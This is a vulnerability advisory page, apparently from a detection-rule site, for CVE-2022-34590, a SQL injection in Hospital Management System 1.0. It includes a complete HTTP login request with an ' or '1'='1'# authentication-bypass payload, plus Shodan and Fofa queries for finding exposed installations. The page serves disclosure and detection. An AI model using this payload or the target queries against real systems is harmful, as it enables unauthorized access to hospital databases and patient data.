🔙 목록으로 돌아가기

CVE-2022-34590: Hospital Management System 1.0 - SQL Injection

TitleHospital Management System 1.0 - SQL Injection
Authorarafatansari
SeverityHigh
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
RemediationUpgrade to the latest version to mitigate this vulnerability.
CVSS Score7.2
EPSS Score0.03459
CVE IDCVE-2022-34590
CWE IDCWE-89
Shodan Queryhttp.html:"Hospital Management System"http.html:"hospital management system"
Fofa Querybody="hospital management system"
Tags cve cve2022 hms cms sqli hospital_management_system_project vuln

🔍 Vulnerability Description

Hospital Management System 1.0 contains a SQL injection vulnerability via the editid parameter in /HMS/admin.php. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.

🌐 HTTP Request

POST /hms/admin/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.7 Safari/605.1.15
Connection: close
Content-Length: 91
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

username=admin%27+or+%271%27%3D%271%27%23&password=admin%27+or+%271%27%3D%271%27%23&submit=

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-34590.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-34590.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A